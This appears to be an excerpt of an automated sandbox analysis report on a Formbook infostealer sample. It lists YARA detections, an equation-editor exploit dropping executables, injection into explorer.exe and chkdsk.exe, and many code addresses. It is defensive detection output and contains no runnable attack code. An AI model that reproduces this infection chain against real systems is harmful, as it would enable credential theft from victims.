Source: Yara match	File source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: oktuxvhtsq.exe PID: 1784, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: oktuxvhtsq.exe PID: 1516, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: chkdsk.exe PID: 2052, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jakatrol2.1[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\word.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004047D3	5_2_004047D3
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004061D4	5_2_004061D4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0040F085	6_2_0040F085
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00413366	6_2_00413366
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_004194C0	6_2_004194C0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00412570	6_2_00412570
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00417514	6_2_00417514
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0041261D	6_2_0041261D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0041379B	6_2_0041379B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0041D8DE	6_2_0041D8DE
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00412B19	6_2_00412B19
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00426BA1	6_2_00426BA1
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00422EC9	6_2_00422EC9
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00412F31	6_2_00412F31
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00428FBD	6_2_00428FBD
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_002408B7	6_2_002408B7
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00240A42	6_2_00240A42
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041D810	7_2_0041D810
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00401030	7_2_00401030
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041EB0E	7_2_0041EB0E
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041C3A7	7_2_0041C3A7
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041E4C5	7_2_0041E4C5
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041DDD4	7_2_0041DDD4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00402D89	7_2_00402D89
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00402D90	7_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00409E4D	7_2_00409E4D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00409E50	7_2_00409E50
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00402FB0	7_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0073E0C6	7_2_0073E0C6
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0073E2E9	7_2_0073E2E9
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0078A37B	7_2_0078A37B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00742305	7_2_00742305
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007663DB	7_2_007663DB
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007E63BF	7_2_007E63BF
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007C443E	7_2_007C443E
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00786540	7_2_00786540
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0075C5F0	7_2_0075C5F0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007C05E3	7_2_007C05E3
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0078A634	7_2_0078A634
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007E2622	7_2_007E2622
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0074E6C1	7_2_0074E6C1
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00744680	7_2_00744680
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0074C7BC	7_2_0074C7BC
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0076286D	7_2_0076286D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0074C85C	7_2_0074C85C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0078C920	7_2_0078C920
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007D49F5	7_2_007D49F5
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007569FE	7_2_007569FE
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007429B2	7_2_007429B2
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007E098E	7_2_007E098E
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007C6BCB	7_2_007C6BCB
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007ECBA4	7_2_007ECBA4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007CAC5E	7_2_007CAC5E
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007E2C9C	7_2_007E2C9C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0074CD5B	7_2_0074CD5B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00770D3B	7_2_00770D3B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0075EE4C	7_2_0075EE4C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00772E2F	7_2_00772E2F
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00750F3F	7_2_00750F3F
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007B2FDC	7_2_007B2FDC
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007DCFB1	7_2_007DCFB1
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007BD06D	7_2_007BD06D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0075905A	7_2_0075905A
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00743040	7_2_00743040
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0076D005	7_2_0076D005
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007CD13F	7_2_007CD13F
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007E1238	7_2_007E1238
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00747353	7_2_00747353
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0073F3CF	7_2_0073F3CF
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0077D47D	7_2_0077D47D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00775485	7_2_00775485
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00751489	7_2_00751489
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0074351F	7_2_0074351F
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007E35DA	7_2_007E35DA
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007D771D	7_2_007D771D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007757C3	7_2_007757C3
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007C579A	7_2_007C579A
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007DF8EE	7_2_007DF8EE
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007BF8C4	7_2_007BF8C4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007C5955	7_2_007C5955
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007C394B	7_2_007C394B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007F3A83	7_2_007F3A83
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00767B00	7_2_00767B00
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0073FBD7	7_2_0073FBD7
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007CDBDA	7_2_007CDBDA
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007DFDDD	7_2_007DFDDD
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0076DF7C	7_2_0076DF7C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007CBF14	7_2_007CBF14
Source: C:\Windows\explorer.exe	Code function: 8_2_07D80B30	8_2_07D80B30
Source: C:\Windows\explorer.exe	Code function: 8_2_07D80B32	8_2_07D80B32
Source: C:\Windows\explorer.exe	Code function: 8_2_07D86232	8_2_07D86232
Source: C:\Windows\explorer.exe	Code function: 8_2_07D895CD	8_2_07D895CD
Source: C:\Windows\explorer.exe	Code function: 8_2_07D83912	8_2_07D83912
Source: C:\Windows\explorer.exe	Code function: 8_2_07D7DD02	8_2_07D7DD02
Source: C:\Windows\explorer.exe	Code function: 8_2_07D7C082	8_2_07D7C082
Source: C:\Windows\explorer.exe	Code function: 8_2_07D85036	8_2_07D85036
Source: C:\Windows\explorer.exe	Code function: 8_2_0807F232	8_2_0807F232
Source: C:\Windows\explorer.exe	Code function: 8_2_0807E036	8_2_0807E036
Source: C:\Windows\explorer.exe	Code function: 8_2_08075082	8_2_08075082
Source: C:\Windows\explorer.exe	Code function: 8_2_08076D02	8_2_08076D02
Source: C:\Windows\explorer.exe	Code function: 8_2_0807C912	8_2_0807C912
Source: C:\Windows\explorer.exe	Code function: 8_2_08079B32	8_2_08079B32
Source: C:\Windows\explorer.exe	Code function: 8_2_08079B30	8_2_08079B30
Source: C:\Windows\explorer.exe	Code function: 8_2_080825CD	8_2_080825CD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0201E2E9	10_2_0201E2E9
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02022305	10_2_02022305
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0206A37B	10_2_0206A37B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020C63BF	10_2_020C63BF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020463DB	10_2_020463DB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0201E0C6	10_2_0201E0C6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020C2622	10_2_020C2622
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0206A634	10_2_0206A634
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02024680	10_2_02024680
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0202E6C1	10_2_0202E6C1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0202C7BC	10_2_0202C7BC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020A443E	10_2_020A443E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02066540	10_2_02066540
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020A05E3	10_2_020A05E3
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0203C5F0	10_2_0203C5F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020CCBA4	10_2_020CCBA4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020A6BCB	10_2_020A6BCB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0202C85C	10_2_0202C85C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0204286D	10_2_0204286D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0206C920	10_2_0206C920
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020C098E	10_2_020C098E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020229B2	10_2_020229B2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020369FE	10_2_020369FE
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020B49F5	10_2_020B49F5
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02052E2F	10_2_02052E2F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0203EE4C	10_2_0203EE4C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02030F3F	10_2_02030F3F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020BCFB1	10_2_020BCFB1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02092FDC	10_2_02092FDC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020AAC5E	10_2_020AAC5E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020C2C9C	10_2_020C2C9C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02050D3B	10_2_02050D3B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0202CD5B	10_2_0202CD5B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020C1238	10_2_020C1238
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02027353	10_2_02027353
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0201F3CF	10_2_0201F3CF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0204D005	10_2_0204D005
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02023040	10_2_02023040
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0203905A	10_2_0203905A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0209D06D	10_2_0209D06D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020AD13F	10_2_020AD13F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020B771D	10_2_020B771D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020A579A	10_2_020A579A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020557C3	10_2_020557C3
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0205D47D	10_2_0205D47D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02055485	10_2_02055485
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02031489	10_2_02031489
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0202351F	10_2_0202351F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020C35DA	10_2_020C35DA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020D3A83	10_2_020D3A83
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02047B00	10_2_02047B00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020ADBDA	10_2_020ADBDA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0201FBD7	10_2_0201FBD7
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0209F8C4	10_2_0209F8C4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020BF8EE	10_2_020BF8EE
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020A394B	10_2_020A394B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020A5955	10_2_020A5955
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020ABF14	10_2_020ABF14
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0204DF7C	10_2_0204DF7C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020BFDDD	10_2_020BFDDD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DC3A7	10_2_000DC3A7
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DE4C5	10_2_000DE4C5
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DEB0E	10_2_000DEB0E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000C2D89	10_2_000C2D89
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000C2D90	10_2_000C2D90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000C9E4D	10_2_000C9E4D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000C9E50	10_2_000C9E50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000C2FB0	10_2_000C2FB0

Source: 2D86.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
